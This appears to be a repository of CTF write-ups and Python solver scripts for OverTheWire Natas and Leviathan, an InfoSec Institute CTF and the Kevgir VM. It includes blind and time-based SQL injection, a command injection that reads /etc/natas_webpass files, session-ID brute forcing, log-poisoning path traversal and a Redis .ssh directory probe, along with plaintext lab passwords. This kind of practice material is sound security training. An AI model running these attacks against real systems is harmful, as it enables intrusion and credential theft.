├── README.md ├── infosec ├── ctf2 │ ├── .placeholder │ ├── ex3.md │ ├── ex6.md │ ├── README.md │ ├── ex11.md │ ├── ex2.md │ ├── ex13.md │ ├── ex1.md │ ├── ex7.md │ ├── ex9.md │ ├── ex4.md │ ├── ex12.md │ ├── ex5.md │ └── ex8.md └── n00bs │ ├── l01.md │ ├── l10.md │ ├── l08.md │ ├── l03.md │ ├── l02.md │ ├── l07.md │ ├── l04.md │ ├── l06.md │ ├── l12.md │ ├── l11.md │ ├── l09.md │ ├── l14.md │ ├── l05.md │ ├── l15.md │ └── l13.md ├── overthewire ├── .placeholder ├── natas │ ├── .gitignore │ ├── natas26.md │ ├── natas00.md │ ├── natas01.md │ ├── scripts │ │ ├── natas18.py │ │ ├── natas21.py │ │ ├── natas20.py │ │ ├── natas16.py │ │ ├── natas19.py │ │ ├── natas15.py │ │ ├── natas25.py │ │ ├── natas17.py │ │ └── natas19_stats.py │ ├── natas03.md │ ├── natas02.md │ ├── natas06.md │ ├── natas07.md │ ├── natas08.md │ ├── natas24.md │ ├── natas09.md │ ├── natas23.md │ ├── natas05.md │ ├── natas13.md │ ├── natas10.md │ ├── natas25.md │ ├── natas14.md │ ├── natas22.md │ ├── natas04.md │ ├── natas17.md │ ├── natas18.md │ ├── natas12.md │ ├── natas21.md │ ├── natas16.md │ ├── natas15.md │ ├── natas20.md │ ├── natas11.md │ └── natas19.md └── leviathan │ └── leviathan.md └── kevgir ├── README.md ├── scripts ├── redis-oracle.py └── zenphoto-brute-force.php ├── 004-joomla.md ├── 001-tomcat.md ├── 002-jenkins.md ├── 000-redis.md └── 003-nfs.md /README.md: -------------------------------------------------------------------------------- 1 | # ctf 2 | -------------------------------------------------------------------------------- /infosec/ctf2/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /overthewire/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /kevgir/README.md: -------------------------------------------------------------------------------- 1 | # Kevgir's solutions -------------------------------------------------------------------------------- /overthewire/natas/.gitignore: -------------------------------------------------------------------------------- 1 | *.html 2 | -------------------------------------------------------------------------------- /infosec/n00bs/l01.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_welcome 4 | 5 | # Procedure 6 | 7 | Press CTRL+U and see at line 1. 8 | -------------------------------------------------------------------------------- /infosec/ctf2/ex3.md: -------------------------------------------------------------------------------- 1 | # Data Validation; Parameter Delimiter 2 | 3 | 1. Step 1... 4 | 5 | 2. Step 2... 6 | 7 | 3. Step 3... 8 | 9 | [Go to Ex2](./ex2.md) | [Go to Ex4] (./ex4.md) 10 | 11 | -------------------------------------------------------------------------------- /overthewire/natas/natas26.md: -------------------------------------------------------------------------------- 1 | # Natas26 2 | 3 | * user: `natas26` 4 | * pass: `oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T` 5 | * url: [http://natas26.natas.labs.overthewire.org](http://natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T@natas26.natas.labs.overthewire.org) 6 | * flag: `` 7 | 8 | ## Procedure 9 | -------------------------------------------------------------------------------- /overthewire/leviathan/leviathan.md: -------------------------------------------------------------------------------- 1 | # Leviathan 2 | 3 | * leviathan0: leviathan0 4 | * leviathan1: rioGegei8m 5 | * leviathan2: ougahZi8Ta 6 | * leviathan3: Ahdiemoo1j 7 | * leviathan4: vuH0coox6m 8 | * leviathan5: Tith4cokei 9 | * leviathan6: UgaoFee4li 10 | * leviathan7: ahy7MaeBo9 11 | -------------------------------------------------------------------------------- /infosec/ctf2/ex6.md: -------------------------------------------------------------------------------- 1 | # A8 Cross-Site Request Forgery (CSRF) 2 | 3 | 1. Since the allowed tags list include ``, the solution is quite simple. 4 | Tyr to insert the following "comment" 5 | 6 | 7 | 8 | [Go to Ex5](./ex5.md) | [Go to Ex7](./ex7.md) 9 | 10 | -------------------------------------------------------------------------------- /infosec/n00bs/l10.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_sound 4 | 5 | # Procedure 6 | 7 | 1. Download the WAV file 8 | 9 | $ wget http://ctf.infosecinstitute.com/misc/Flag.wav 10 | 11 | 2. Open it with audio editor (e.g. Audacity) 12 | 13 | $ audacity Flag.waw 14 | 15 | 3. Hear it at playback speed `0.01x` 16 | 17 | -------------------------------------------------------------------------------- /infosec/ctf2/README.md: -------------------------------------------------------------------------------- 1 | # Table of Contents 2 | 3 | * [Level 1](./ex1.md) 4 | * [Level 2](./ex2.md) 5 | * Level 3 6 | * [Level 4](./ex4.md) 7 | * [Level 5](./ex5.md) 8 | * [Level 6](./ex6.md) 9 | * [Level 7](./ex7.md) 10 | * [Level 8](./ex8.md) 11 | * [Level 9](./ex9.md) 12 | * Level 10 13 | * [Level 11](./ex11.md) 14 | * [Level 12](./ex12.md) 15 | * [Level 13](./ex13.md) 16 | -------------------------------------------------------------------------------- /infosec/n00bs/l08.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_0x1a 4 | 5 | # Procedure 6 | 7 | 1. Get the binary 8 | 9 | $ wget http://ctf.infosecinstitute.com/misc/app.exe 10 | 11 | 2. Dump and grep it 12 | 13 | $ xxd -c 32 app.exe | grep infosec_flagis 14 | 0001000: 696e 666f 7365 635f 666c 6167 6973 5f30 7831 6100 2323 2323 2323 2323 2323 2323 infosec_flagis_0x1a.############ 15 | -------------------------------------------------------------------------------- /overthewire/natas/natas00.md: -------------------------------------------------------------------------------- 1 | # Natas0 2 | 3 | * user: `natas0` 4 | * pass: `natas0` 5 | * url: `http://natas0.natas.labs.overthewire.org` 6 | * flag: `gtVrDuiDfck831PqWsLEZy5gyDz1clto` 7 | 8 | ## Procedure 9 | 10 | 1. Get the page's source (e.g. `CTRL+U` on FF) 11 | 12 | 2. Look the HTML comment at line 16 13 | 14 | 15 | -------------------------------------------------------------------------------- /overthewire/natas/natas01.md: -------------------------------------------------------------------------------- 1 | # Natas1 2 | 3 | * user: `natas1` 4 | * pass: `gtVrDuiDfck831PqWsLEZy5gyDz1clto` 5 | * url: `http://natas1.natas.labs.overthewire.org` 6 | * flag: `ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi` 7 | 8 | ## Procedure 9 | 10 | 1. Get the page's source (e.g. `CTRL+U` on FF) 11 | 12 | 2. Look the HTML comment at line 17 13 | 14 | 15 | -------------------------------------------------------------------------------- /infosec/n00bs/l03.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | INFOSECFLAGISMORSING 4 | 5 | # Procedure 6 | 7 | 1. Decode the QR code and get the Morse code 8 | 9 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --. 10 | 11 | 2. Decode the Morse code 12 | 13 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --. 14 | 15 | I N F O S E C F L A G I S M O R S I N G 16 | -------------------------------------------------------------------------------- /infosec/n00bs/l02.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_wearejuststarting 4 | 5 | # Procedure 6 | 7 | 1. Download the image file 8 | 9 | $ wget http://ctf.infosecinstitute.com/img/leveltwo.jpeg 10 | 11 | 2. Check file type 12 | 13 | $ file leveltwo.jpeg 14 | $ leveltwo.jpeg: ASCII text 15 | 16 | 3. File is a text file containing a Base64 string 17 | 18 | $ cat leveltwo.jpeg | base64 -d 19 | infosec_flagis_wearejuststarting 20 | 21 | -------------------------------------------------------------------------------- /infosec/n00bs/l07.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_youfoundit 4 | 5 | # Procedure 6 | 7 | 1. Open a sniffer (e.g. Wireshark) and try to GET 8 | 9 | http://ctf.infosecinstitute.com/levelseven.php 10 | 11 | 2. You should receive a `HTTP/1.0 200` response with response phrase 12 | 13 | aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA== 14 | 15 | 3. Decode it 16 | 17 | $ echo -n "aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==" | base64 -d 18 | infosec_flagis_youfoundit 19 | -------------------------------------------------------------------------------- /infosec/n00bs/l04.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_welovecookies 4 | 5 | # Procedure 6 | 7 | 1. By using an HTTP sniffer (e.g. FF addon Live HTTP headers) get the L4 page. 8 | You will see the Set-Cookie header 9 | 10 | Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf 11 | 12 | 2. Value of `fusrodah` cookie is the flag. It seems to be encrypted with the 13 | Cesar's chiper. 14 | 15 | 3. Go to `http://www.xarg.org/tools/caesar-cipher/` an try to deccrypt it with 16 | the key `13`. 17 | -------------------------------------------------------------------------------- /infosec/n00bs/l06.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_sniffed 4 | 5 | # Procedure 6 | 7 | 1. Open the `sharkfin.pcap` capure file with `Wireshark` 8 | 9 | 2. The first package contains 44 bytes of data (HEX) 10 | 11 | 36:39:36:65:36:36:36:66:37:33:36:35:36:33:35:66:36:36:36:63:36:31:36:37:36:39:37:33:35:66:37:33:36:65:36:39:36:36:36:36:36:35:36:34 12 | 13 | 3. Decode it and get a new HEX string 14 | 15 | 696e666f7365635f666c616769735f736e6966666564 16 | 17 | 4. Decode it and get 18 | 19 | infosec_flagis_sniffed 20 | -------------------------------------------------------------------------------- /infosec/n00bs/l12.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_heyimnotacolor 4 | 5 | # Procedure 6 | 7 | 1. Differently from other levels, this one includes a new CSS file: `design.css`. 8 | 2. Dig it and look at the `.thisloveis` class. It uses a suspect color code 9 | 10 | color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72; 11 | 12 | 3. Try to decode it from HEX to TXT 13 | 14 | $ echo -n "696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72" | perl -ne 's/([0-9a-f]{2})/print chr hex $1/gie' 15 | infosec_flagis_heyimnotacolor 16 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas18.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = 'http://natas18.natas.labs.overthewire.org' 4 | auth = ('natas18','xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') 5 | params = dict(username='admin', password='s3cr3t') 6 | cookies = dict() 7 | 8 | max_s_id = 640 9 | s_id = 1 10 | while s_id <= max_s_id: 11 | print "Trying with PHPSESSID = " + str(s_id) 12 | cookies = dict(PHPSESSID=str(s_id)) 13 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 14 | if "You are an admin" in r.text: 15 | print r.text 16 | break 17 | s_id += 1 18 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas21.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = 'http://natas21-experimenter.natas.labs.overthewire.org' 4 | auth = ('natas21', 'IFekPyrQXftziDEsUr3x21sYuahypdgJ') 5 | 6 | params = dict(debug='', submit='', admin=1) 7 | cookies = dict() 8 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 9 | phpsessid = r.cookies['PHPSESSID'] 10 | print r.text 11 | 12 | target = 'http://natas21.natas.labs.overthewire.org' 13 | params = dict(debug='') 14 | cookies = dict(PHPSESSID=phpsessid) 15 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 16 | print r.text 17 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas20.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = 'http://natas20.natas.labs.overthewire.org' 4 | auth = ('natas20', 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF') 5 | 6 | print "#" 7 | print "# FIRST REQUEST" 8 | print "#" 9 | params = dict(name='admin\nadmin 1', debug='') 10 | cookies = dict() 11 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 12 | phpsessid = r.cookies['PHPSESSID'] 13 | print r.text 14 | 15 | print "\n\n" 16 | print "#" 17 | print "# SECOND REQUEST" 18 | print "#" 19 | params = dict(debug='') 20 | cookies = dict(PHPSESSID=phpsessid) 21 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 22 | print r.text 23 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas16.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = 'http://natas16.natas.labs.overthewire.org' 4 | charset_0 = ( 5 | '0123456789' + 6 | 'abcdefghijklmnopqrstuvwxyz' + 7 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 8 | ) 9 | 10 | p = '' 11 | i = 0 12 | while len(p) != 32: 13 | while i < len(charset_0): 14 | c = charset_0[i] 15 | needle = ('$(grep -E ^%s%c.* /etc/natas_webpass/natas17)Africans' % (p, c)) 16 | r = requests.get(target, 17 | auth=('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'), 18 | params={"needle": needle} 19 | ) 20 | if "Africans" not in r.text: 21 | p += c 22 | print ('P: ' + p.ljust(32, '*')) 23 | i = 0 24 | else: 25 | i += 1 26 | 27 | -------------------------------------------------------------------------------- /kevgir/scripts/redis-oracle.py: -------------------------------------------------------------------------------- 1 | import redis 2 | 3 | WORDLIST = "usernames.txt" 4 | PATH_TEMPLATE = "/home/%(user)s/.ssh" 5 | REDIS_HOST = '127.0.0.1' 6 | REDIS_PORT = 6379 7 | 8 | with open(WORDLIST, "r") as wl: 9 | usernames = wl.readlines() 10 | wl.close() 11 | 12 | r = redis.StrictRedis(host=REDIS_HOST, port=REDIS_PORT, db=0) 13 | 14 | i = 1.0 15 | paths = [] 16 | for username in usernames: 17 | u = username.strip('\r\n') 18 | path = PATH_TEMPLATE % {'user': u} 19 | try: 20 | r.config_set("dir", path) 21 | paths.append(path) 22 | print "Found: %s" % path 23 | except Exception: 24 | pass 25 | print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))), 26 | i += 1 27 | -------------------------------------------------------------------------------- /infosec/n00bs/l11.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif 4 | 5 | (infosec_flagis_powerslide) 6 | 7 | # Procedure 8 | 9 | 1. The huge PHP logo image seems to be a hint. Get it and check the matadata 10 | 11 | $ wget http://ctf.infosecinstitute.com/img/php-logo-virus.jpg 12 | $ exiftool php-logo-virus.jpg |grep flagis 13 | Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��. 14 | 15 | 2. Flag seems to be a Base64 encoded string. Let's try to decode it 16 | 17 | $ exiftool php-logo-virus.jpg|grep flagis |cut -d"_" -f3 | base64 -d 18 | http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gifbase64: invalid input 19 | 20 | -------------------------------------------------------------------------------- /infosec/n00bs/l09.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_defaultpass 4 | 5 | # Procedure 6 | 7 | 1. `CISCO IDS WEB LOGIN SYSTEM` is the key hint. 8 | 9 | 2. Open your browser at 10 | 11 | https://www.google.com/search?q=cisco+ids+default+username+password&ie=utf-8&oe=utf-8 12 | 13 | and click on the first result. It should be 14 | 15 | http://www.cisco.com/c/en/us/support/docs/security/ips-4200-series-sensors/13837-34.html 16 | 17 | 3. Looking for `default username` you should get 18 | 19 | Login using the default username/password of 'root/attack' 20 | 21 | 4. Perform login with `root` and `attack`. You should see a JS alert with value 22 | 23 | ssaptluafed_sigalf_cesofni 24 | 25 | 5. Reverse it 26 | 27 | $ echo "ssaptluafed_sigalf_cesofni" | rev 28 | infosec_flagis_defaultpass 29 | -------------------------------------------------------------------------------- /overthewire/natas/natas03.md: -------------------------------------------------------------------------------- 1 | # Natas3 2 | 3 | * user: `natas3` 4 | * pass: `sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14` 5 | * url: `http://natas3.natas.labs.overthewire.org` 6 | * flag: `Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ` 7 | 8 | ## Procedure 9 | 10 | 1. Get the page's source (e.g. `CTRL+U` on FF) 11 | 12 | 2. At line 15, there is an HTML comment with a hint (*Not even Google will 13 | find it this time...*). 14 | 15 | 3. How to disable page indexing? Simple! Use `Disallow` directive in 16 | `robots.txt` file. Let's try if it's available 17 | 18 | $ curl -u natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/robots.txt 19 | User-agent: * 20 | Disallow: /s3cr3t/ 21 | 22 | 4. Let's try to list `/s3cr3t/` path. Yep! Another `users.txt` file 23 | 24 | $ curl -u natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt 25 | natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ 26 | -------------------------------------------------------------------------------- /infosec/n00bs/l14.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | Flag: infosec_flagis_whatsorceryisthis 4 | 5 | # Procedure 6 | 7 | 1. Download the database dump 8 | 9 | $ wget http://ctf.infosecinstitute.com/misc/level14 10 | 11 | 2. Take a look to `flags` and `friends` tables. They seem to be intresting. 12 | 13 | 2.1 In table `friends` there is a suspect string 14 | 15 | \\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\\u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073 16 | 17 | Let's try to decode it on `http://rishida.net/tools/conversion/` 18 | 19 | infosec_flagis_whatsorceryisthis 20 | 21 | 2.2 In table `flags` there is another suspect string 22 | 23 | $P$B8p.TUJAbjULMWrNXm8GsH4fb2PWfF. 24 | 25 | I'll try to decode/crack it with John the Ripper... (update: nothing to do! I'm pretty sure that `$P$B8p...` is a decoy) 26 | 27 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas19.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import requests 4 | import sys 5 | 6 | target = 'http://natas19.natas.labs.overthewire.org' 7 | auth = ('natas19','4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') 8 | params = dict(username='admin', password='s3cr3t') 9 | cookies = dict() 10 | 11 | x = 0x0 12 | y = 0x0 13 | z = 0x0 14 | 15 | 16 | while x <= 0xf: 17 | while y <= 0xf: 18 | while z <= 0xf: 19 | phpsessid = (('3%s3%s3%s2d61646d696e') % 20 | (hex(x)[2:], hex(y)[2:], hex(z)[2:])) 21 | cookies['PHPSESSID'] = phpsessid 22 | print 'Trying with: %s' % phpsessid 23 | r = requests.get(target, auth=auth, params=params, cookies=cookies) 24 | if "You are logged in as a regular user." not in r.text: 25 | print r.text 26 | sys.exit(0) 27 | z += 1 28 | y += 1 29 | z = 0x0 30 | x += 1 31 | y = 0x0 32 | z = 0x0 33 | 34 | sys.exit(1) 35 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas15.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | target = 'http://natas15.natas.labs.overthewire.org' 4 | charset_0 = ( 5 | '0123456789' + 6 | 'abcdefghijklmnopqrstuvwxyz' + 7 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 8 | ) 9 | charset_1 = '' 10 | 11 | for c in charset_0: 12 | username = ('natas16" AND password LIKE BINARY "%' + c +'%" "') 13 | r = requests.get(target, 14 | auth=('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), 15 | params={"username": username} 16 | ) 17 | if "This user exists" in r.text: 18 | charset_1 += c 19 | print ('CSET: ' + charset_1.ljust(len(charset_0), '*')) 20 | 21 | password = "" 22 | while len(password) != 32: 23 | for c in charset_1: 24 | t = password + c 25 | username = ('natas16" AND password LIKE BINARY "' + t +'%" "') 26 | r = requests.get(target, 27 | auth=('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), 28 | params={"username": username} 29 | ) 30 | if "This user exists" in r.text: 31 | print ('PASS: ' + t.ljust(32, '*')) 32 | password = t 33 | break 34 | 35 | -------------------------------------------------------------------------------- /overthewire/natas/natas02.md: -------------------------------------------------------------------------------- 1 | # Natas2 2 | 3 | * user: `natas2` 4 | * pass: `ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi` 5 | * url: `http://natas2.natas.labs.overthewire.org` 6 | * flag: `sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14` 7 | 8 | ## Procedure 9 | 10 | 1. Get the page's source (e.g. `CTRL+U` on FF) 11 | 12 | 2. Statement *There is nothing on this page* is false! What about `` tag? 13 | 14 | 15 | 16 | 3. The image seems to be a one pixel image without any relevat info. Let's try 17 | if the URL `http://natas2.natas.labs.overthewire.or/files` give us 18 | something... 19 | 20 | 4. BINGO! The `/files` path is listable and we can see an interesting file 21 | named `users.txt`. Let's try to get its conent... 22 | 23 | $ curl -u natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/users.txt 24 | # username:password 25 | alice:BYNdCesZqW 26 | bob:jw2ueICLvT 27 | charlie:G5vCxkVV3m 28 | natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 29 | eve:zo4mJWyNj2 30 | mallory:9urtcpzBmH 31 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas25.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import requests 4 | 5 | target = 'http://natas25.natas.labs.overthewire.org' 6 | auth = ('natas25', 'GHF6X7YwACaYYssHVY05cFq83hRktl4c') 7 | 8 | cookies = dict() 9 | # this forces the application to call logRequest() function 10 | params = dict(lang='natas_webpass') 11 | # this put contents of "/etc/natas_webpass/natas26" in each log entry 12 | headers = { 13 | "User-Agent": '' 14 | } 15 | 16 | # executes a first request to get the session id 17 | r = requests.get(target, auth=auth, params=params, cookies=cookies, headers=headers) 18 | phpsessid=r.cookies['PHPSESSID'] 19 | log_file = '/tmp/natas25_%s.log' % phpsessid 20 | cookies = dict(PHPSESSID=phpsessid) 21 | 22 | # "..././" is escaped to "../", we'll exploit it reach log_file 23 | params = dict(lang=('..././..././..././..././..././' + log_file)) 24 | r = requests.get(target, auth=auth, params=params, cookies=cookies, headers=headers) 25 | print r.text 26 | 27 | -------------------------------------------------------------------------------- /overthewire/natas/scripts/natas17.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | pwd_len = 32 4 | 5 | charset_0 = ( 6 | '0123456789' + 7 | 'abcdefghijklmnopqrstuvwxyz' + 8 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 9 | ) 10 | charset_1 = '' 11 | 12 | target = 'http://natas17.natas.labs.overthewire.org' 13 | auth=('natas17','8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') 14 | sleep_time = 15 15 | 16 | for c in charset_0: 17 | username = 'natas18" AND IF(password LIKE BINARY "%%%c%%",SLEEP(%d), 1)#' % (c, sleep_time) 18 | r = requests.get(target, auth=auth, params={"username": username} 19 | ) 20 | s = r.elapsed.total_seconds() 21 | if s >= sleep_time: 22 | charset_1 += c 23 | print ('C: ' + charset_1.ljust(len(charset_0), '*')) 24 | 25 | print "" 26 | 27 | password = "" 28 | while len(password) != pwd_len: 29 | for c in charset_1: 30 | t = password + c 31 | username = 'natas18" AND IF(password LIKE BINARY "%s%%",SLEEP(%d), 1)#' % (t, sleep_time) 32 | r = requests.get(target, auth=auth, params={"username": username} 33 | ) 34 | s = r.elapsed.total_seconds() 35 | if s >= sleep_time: 36 | print ('P: ' + t.ljust(pwd_len, '*')) 37 | password = t 38 | break 39 | -------------------------------------------------------------------------------- /overthewire/natas/natas06.md: -------------------------------------------------------------------------------- 1 | # Natas6 2 | 3 | * user: `natas6` 4 | * pass: `aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1` 5 | * url: `http://natas6.natas.labs.overthewire.org` 6 | * flag: `7z3hEENjQtflzgnT29q7wAvMNfZdh0i9` 7 | 8 | ## Procedure 9 | 10 | 1. By clicking on `View sourcecode` a PHP script is shown 11 | 12 | "; 19 | } else { 20 | print "Wrong secret"; 21 | } 22 | } 23 | ?> 24 | 25 | 2. The script says that `secret` parameter in the `POST` is checked 26 | against variable `$secret`. Furthermore, file `includes/secret.inc` 27 | is imported. Let's see what it contains 28 | 29 | $ curl -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 http://natas6.natas.labs.overthewire.org/includes/secret.inc 30 | 33 | 34 | 3. Go back to the home page and try to provide the secret 35 | `FOEIUWGHFEEUHOFUOIU`. Bingo! 36 | 37 | Access granted. The password for natas7 is 38 | 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 39 | -------------------------------------------------------------------------------- /infosec/ctf2/ex11.md: -------------------------------------------------------------------------------- 1 | # Bypassing blacklists 2 | 3 | 1. It seems to be the same of [Level 9](./ex9.md). Anyway, let's take a look 4 | in the cookies 5 | 6 | $ curl -i -s http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php | head -14 7 | HTTP/1.1 200 OK 8 | Date: Tue, 15 Sep 2015 09:03:06 GMT 9 | Server: Apache/2.4.7 (Ubuntu) 10 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 11 | Set-Cookie: PHPSESSID=9f4hc8vgctariqhhndj94dqad7; path=/ 12 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 13 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 14 | Pragma: no-cache 15 | Set-Cookie: welcome=no; expires=Fri, 16-Oct-2015 09:03:06 GMT; Max-Age=2678400; path=/ 16 | Vary: Accept-Encoding 17 | Content-Length: 4359 18 | Content-Type: text/html 19 | 20 | More then clear... 21 | 22 | $ curl -i --cookie "welcome=yes" http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php 23 | [...] 24 |
25 |

You did it again! Why did they blacklist you anyway?

26 |
27 | [...] 28 | 29 | [Go to Ex10](./ex10.md) | [Go to Ex12](./ex12.md) 30 | 31 | -------------------------------------------------------------------------------- /overthewire/natas/natas07.md: -------------------------------------------------------------------------------- 1 | # Natas7 2 | 3 | * user: `natas7` 4 | * pass: `7z3hEENjQtflzgnT29q7wAvMNfZdh0i9` 5 | * url: `http://natas7.natas.labs.overthewire.org` 6 | * flag: `DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe` 7 | 8 | ## Procedure 9 | 10 | 1. Page provides `Home` and `About` that link to 11 | 12 | http://natas7.natas.labs.overthewire.org/index.php?page=home 13 | 14 | and 15 | 16 | http://natas7.natas.labs.overthewire.org/index.php?page=about 17 | 18 | By taking a look in the source code there is the hint 19 | 20 | 21 | 22 | 2. Let's try to pass `/etc/natas_webpass/natas8` path as `page` value 23 | 24 | $ curl -u natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 25 | 26 | [...] 27 | 28 |

natas7

29 |
30 | 31 | Home 32 | About 33 |
34 |
35 | DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 36 | 37 | 38 |
39 | 40 | 41 | -------------------------------------------------------------------------------- /infosec/n00bs/l05.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_stegaliens 4 | 5 | # Procedure 6 | 7 | 1. The JS infinite loop seems to be a hint. Let's try to kill it by disabling JavaScript. 8 | 9 | 2. Well. An image that talks about Aliens is shown. Let's try to get some interesting EXIF data 10 | 11 | $ wget http://ctf.infosecinstitute.com/img/aliens.jpg 12 | $ exiftool alien.jpg 13 | ExifTool Version Number : 9.46 14 | File Name : aliens.jpg 15 | Directory : . 16 | File Size : 108 kB 17 | ... 18 | 19 | Nothing... 20 | 21 | 3. Let's try with steganography... 22 | 23 | $ steghide --extract -sf aliens.jpg 24 | Enter passphrase: (empty) 25 | wrote extracted data to "all.txt". 26 | 27 | Mmmm... Seems to be interesting... 28 | 29 | 4. Get `all.txt` data 30 | 31 | $ cat all.txt 32 | 01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011 33 | 34 | 5. Binary code? Let's try to decode it with online tools (e.g. http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp)... 35 | 36 | 6. Yep! 37 | 38 | -------------------------------------------------------------------------------- /overthewire/natas/natas08.md: -------------------------------------------------------------------------------- 1 | # Natas8 2 | 3 | * user: `natas8` 4 | * pass: `DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe` 5 | * url: `http://natas8.natas.labs.overthewire.org` 6 | * flag: `W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl` 7 | 8 | ## Procedure 9 | 10 | 1. This seems to be similar to Natas6. Let's click on `View sourcecode` 11 | 12 | "; 23 | } else { 24 | print "Wrong secret"; 25 | } 26 | } 27 | ?> 28 | 29 | 2. Secret `3d3d516343746d4d6d6c315669563362` seems to be a HEX string. 30 | Decode it 31 | 32 | $ echo -n 3d3d516343746d4d6d6c315669563362 | perl -pe 's/([0-9a-f]{2})/chr hex $1/gie' 33 | ==QcCtmMml1ViV3b 34 | 35 | It's a reversed Base64 string. Let's try to decode it 36 | 37 | $ echo "==QcCtmMml1ViV3b" | rev | base64 -d 38 | oubWYf2kBq 39 | 40 | 3. Let's try to use `oubWYf2kBq` secret 41 | 42 | Access granted. The password for natas9 is 43 | W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl 44 | -------------------------------------------------------------------------------- /overthewire/natas/natas24.md: 